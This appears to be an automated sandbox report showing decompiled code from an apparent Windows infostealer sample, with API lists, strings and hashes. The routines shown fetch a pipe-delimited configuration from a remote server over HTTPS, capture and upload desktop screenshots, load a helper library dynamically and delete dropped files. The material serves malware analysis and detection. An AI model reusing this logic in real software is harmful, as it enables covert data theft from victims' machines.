				_t51 =  *0x41a714; // 0x7c71b0
				_t93 =  *0x41a288; // 0x7c7118
				_t109 =  *0x41a7c4; // 0x7c5130
				_t52 =  *0x41a368; // 0x7c2160
				_t53 = E004051A0(_t93, _t133, _t52, _t109, _t93, _t51); // executed
				 *0x41aa24( &_v10268, _t53);
				E00406320( &_v10268, _t133,  &_v10268, _v10544); // executed
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x7c6458
				E004049E0( &_v10268,  &_v10540, _t111); // executed
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x1
				_t61 =  *0x41abac; // 0x1
				_t97 =  *0x41aba4; // 0x1
				E0040A700(_t133, _v10544, _t97, _t61, _t112); // executed
				E00401470(_v10544); // executed
				E004056E0(_v10544, _t133, _v10544); // executed
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544); // executed
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x7c7118
				_t116 =  *0x41a7c4; // 0x7c5130
				_t71 =  *0x41a368; // 0x7c2160
				_t72 = E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272); // executed
				 *0x41aa24( &_v5004, _t72);
				_t117 =  *0x41a6a8; // 0x7c7908
				SetCurrentDirectoryA(_t117); // executed
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4); // executed
				E00405DE0(); // executed
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x00406666
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406728
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040683e
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,007AE508), ref: 004066CD
lstrcat.KERNEL32(?,007C2160), ref: 004066E0
lstrcat.KERNEL32(?,007C5130), ref: 004066F4
lstrcat.KERNEL32(?,007C7070), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,`!|,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,-g@`!|,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007AE518), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007B0AD8), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007AF5C8), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007C4DD0), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007C70E8), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(007C7100,007C7100), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(Hn|,007C6E48), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(007C4EB0,007C4EB0), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(007C7908,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

`!|, xrefs: 004066D3, 00406722, 00406838
pp|, xrefs: 004066FA
Xd|, xrefs: 00406765
0Q|, xrefs: 004066E6, 0040671B, 00406831

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: 0Q|$Xd|$`!|$pp|
API String ID: 2767677664-2644175427
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040BCF0(void* __eflags, char _a8) {
				void* _v8;
				struct HWND__* _v12;
				char _v16;
				char _v20;
				char _v36;
				void* _v44;
				intOrPtr _v48;
				struct tagRECT _v64;
				struct HDC__* _v68;
				char _v72;
				void* _v76;
				char _v92;
				intOrPtr _v96;
				void* _t50;
				void* _t52;
				void* _t65;
				void* _t68;
				intOrPtr _t70;
				long _t71;
				intOrPtr _t100;

				E0040B550( &_v36, 0, 0, 0);
				E0040B720( &_v36, 0x10);
				_v36 = 1;
				_t5 =  &_v16; // 0x4067e4
				_t50 =  *0x41aa2c(_t5,  &_v36, 0); // executed
				if(_t50 == 0) {
					_t52 =  *0x41a98c(0, 1,  &_v20); // executed
					if(_t52 == 0) {
						_v12 = GetDesktopWindow();
						GetWindowRect(_v12,  &_v64);
						_v96 =  *0x41aaa4(_v12);
						_v68 =  *0x41a948(_v96);
						_v44 =  *0x41a8bc(_v96, _v64.right, _v64.bottom);
						_v8 = SelectObject(_v68, _v44);
						 *0x41a880(_v68, 0, 0, _v64.right, _v64.bottom, _v96, 0, 0, 0xcc0020);
						_t65 =  *0x41a9e8(_v44, 0,  &_v72); // executed
						if(_t65 == 0) {
							if(E0040BBB0(L"image/jpeg",  &_v92) != 0xffffffff) {
								_t68 =  *0x41a9b8(_v72, _v20,  &_v92, 0); // executed
								if(_t68 == 0) {
									_t70 =  *0x41a884(_v20,  &_v76);
									GlobalFix(_v76);
									_v48 = _t70;
									_t71 = GlobalSize(_v76);
									_t100 =  *0x41a2ac; // 0x7c9038
									_t37 =  &_a8; // 0x4067e4
									E004137E0( *_t37, _t100, _v48, _t71);
									SelectObject(_v68, _v8);
									 *0x41a8f0(_v72);
									_t41 =  &_v16; // 0x4067e4
									 *0x41aa0c( *_t41);
									DeleteObject(_v44);
									DeleteObject(_v68);
									 *0x41aa28(_v12, _v96);
									CloseWindow(_v12); // executed
									return 0;
								}
								return 0;
							}
							return 0;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x0040bcff
0x0040bd0a
0x0040bd0f
0x0040bd1c
0x0040bd20
0x0040bd28
0x0040bd39
0x0040bd41
0x0040bd50
0x0040bd5b
0x0040bd6b
0x0040bd78
0x0040bd8d
0x0040bd9e
0x0040bdbe
0x0040bdce
0x0040bdd6
0x0040bdf3
0x0040be0a
0x0040be12
0x0040be23
0x0040be2d
0x0040be33
0x0040be3a
0x0040be45
0x0040be4c
0x0040be50
0x0040be60
0x0040be6a
0x0040be70
0x0040be74
0x0040be7e
0x0040be88
0x0040be96
0x0040bea0
0x00000000
0x0040bea6
0x00000000
0x0040be14
0x00000000
0x0040bdf5
0x00000000
0x0040bdd8
0x00000000
0x0040bd43
0x00000000

Strings

g@A, xrefs: 0040BE4C, 0040BE4F
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: a8ee8390bea701a7fe83a63bcec9f9fcb62ae9ebfc8cae6774634cead13c25f4
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: a8ee8390bea701a7fe83a63bcec9f9fcb62ae9ebfc8cae6774634cead13c25f4
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824); // executed
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				struct HINSTANCE__* _t2;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x7c6458
				_t2 = LoadLibraryA(_t1); // executed
				 *0x41a82c = _t2;
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x7c7db8
				_t24 =  *0x41a82c; // 0x60900000
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x7c8090
				_t19 =  *0x41a82c; // 0x60900000
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x7c7e48
				_t7 =  *0x41a82c; // 0x60900000
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x7c8010
				_t26 =  *0x41a82c; // 0x60900000
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x7c8210
				_t21 =  *0x41a82c; // 0x60900000
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x7c7da0
				_t12 =  *0x41a82c; // 0x60900000
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x7c8290
				_t28 =  *0x41a82c; // 0x60900000
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x7c8030
				_t23 =  *0x41a82c; // 0x60900000
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x00407069
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(007C6458,?,0040A721,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(60900000,007C7DB8), ref: 0040708F
GetProcAddress.KERNEL32(60900000,007C8090), ref: 004070A7
GetProcAddress.KERNEL32(60900000,007C7E48), ref: 004070BF
GetProcAddress.KERNEL32(60900000,007C8010), ref: 004070D8
GetProcAddress.KERNEL32(60900000,007C8210), ref: 004070F0
GetProcAddress.KERNEL32(60900000,007C7DA0), ref: 00407108
GetProcAddress.KERNEL32(60900000,007C8290), ref: 00407121
GetProcAddress.KERNEL32(60900000,007C8030), ref: 00407139

Strings

Xd|, xrefs: 00407063
H~|, xrefs: 004070B2

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: H~|$Xd|
API String ID: 2238633743-4066333130
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				int _t10;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x7c6458
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x7c6638
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x7c68b8
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x7c6660
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x7c4db0
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x7c6480
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x7c6570
				_t10 = DeleteFileA(_t9); // executed
				return _t10;
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e35
0x00405e3c

APIs

DeleteFileA.KERNEL32(007C6458,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(007C6638,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(007C68B8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(007C6660,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(007C4DB0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(007C6480,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(007C6570,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

8f|, xrefs: 00405DEF
Xd|, xrefs: 00405DE3
pe|, xrefs: 00405E2F
`f|, xrefs: 00405E09

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: DeleteFile
String ID: 8f|$Xd|$`f|$pe|
API String ID: 4033686569-3118470256
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 004128D0, Relevance: 18.2, APIs: 7, Strings: 3, Instructions: 687
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004128D0(signed int* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v29;
				signed int _v30;
				char _v44;
				char _v308;
				void* _v312;
				signed int _v313;
				signed int _v320;
				void* _v324;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				signed int _v352;
				signed int _v356;
				signed int _v364;
				char _v624;
				char _v884;
				signed int _v888;
				void* _v892;
				void* _v896;
				char _v1156;
				intOrPtr _v1160;
				signed int _v1164;
				short _v1168;
				short _v1170;
				short _v1172;
				signed int _v1176;
				int _v1180;
				signed int _v1184;
				signed int _v1188;
				signed int _v1192;
				signed int _v1196;
				signed int _v1200;
				unsigned int _v1204;
				signed int _v1206;
				signed int _v1208;
				short _v1210;
				void _v1212;
				signed int _v1216;
				char* _v1220;
				signed char* _v1224;
				signed int _v1228;
				signed int _v1232;
				signed int _v1236;
				void* _v1240;
				void* _v1244;
				signed int* _v1248;
				intOrPtr* _v1252;
				char* _v1256;
				intOrPtr _v1260;
				char _v1261;
				intOrPtr* _v1268;
				signed int _v1272;
				char _v1273;
				intOrPtr _v1280;
				signed int _v1284;
				intOrPtr* _v1288;
				char* _v1292;
				intOrPtr _v1296;
				char _v1297;
				intOrPtr* _v1304;
				signed int _v1308;
				char _v1309;
				signed int _v1316;
				signed int _v1320;
				char _v1321;
				signed int _v1328;
				signed int _v1332;
				char _t422;
				signed int _t459;
				signed int _t485;
				signed char _t498;
				signed char _t502;
				signed int _t510;
				signed char _t516;
				signed int _t518;
				signed int _t523;
				signed int _t524;
				signed int _t539;
				signed char _t545;
				signed int _t548;
				signed int* _t556;
				char _t571;
				signed int* _t597;
				signed int* _t609;
				signed int* _t615;
				signed int _t627;
				signed int _t634;
				signed int* _t643;
				intOrPtr _t652;
				signed int _t665;
				signed int* _t704;
				signed int _t713;
				signed int* _t714;
				signed int _t732;
				signed int _t736;
				char _t737;
				void* _t750;
				void* _t751;
				void* _t752;

				_v1248 = __ecx;
				if(_v1248[5] == 0) {
					_t556 = _v1248;
					__eflags =  *(_t556 + 0x2c) & 0x000000ff;
					if(( *(_t556 + 0x2c) & 0x000000ff) == 0) {
						_v320 = 0;
						__eflags =  *_v1248;
						if( *_v1248 != 0) {
							__eflags = _a16 - 4;
							if(_a16 != 4) {
								_v320 = 0xc;
							}
						}
						_v1252 = _a4;
						_v1256 =  &_v308;
						_v1260 = _v1256;
						do {
							_v1261 =  *_v1252;
							 *_v1256 = _v1261;
							_v1252 = _v1252 + 1;
							_v1256 = _v1256 + 1;
							__eflags = _v1261;
						} while (_v1261 != 0);
						__eflags = _v308;
						if(_v308 != 0) {
							_v1220 =  &_v308;
							while(1) {
								__eflags =  *_v1220;
								if( *_v1220 == 0) {
									break;
								}
								__eflags =  *_v1220 - 0x5c;
								if( *_v1220 == 0x5c) {
									 *_v1220 = 0x2f;
								}
								_v1220 = _v1220 + 1;
							}
							__eflags = _a16 - 4;
							_v29 = 0 | _a16 == 0x00000004;
							__eflags = _v29 & 0x000000ff;
							if((_v29 & 0x000000ff) == 0) {
								L21:
								_v1284 = 0;
								L22:
								_v30 = _v1284;
								_v28 = 8;
								_t563 = _v29 & 0x000000ff;
								__eflags = _v29 & 0x000000ff;
								if((_v29 & 0x000000ff) != 0) {
									L24:
									_v28 = 0;
									L25:
									__eflags = _a16 - 2;
									if(_a16 != 2) {
										__eflags = _a16 - 1;
										if(_a16 != 1) {
											__eflags = _a16 - 3;
											if(_a16 != 3) {
												__eflags = _a16 - 4;
												if(__eflags != 0) {
													return 0x10000;
												}
												_v24 = E004123D0(_v1248, __eflags);
												L34:
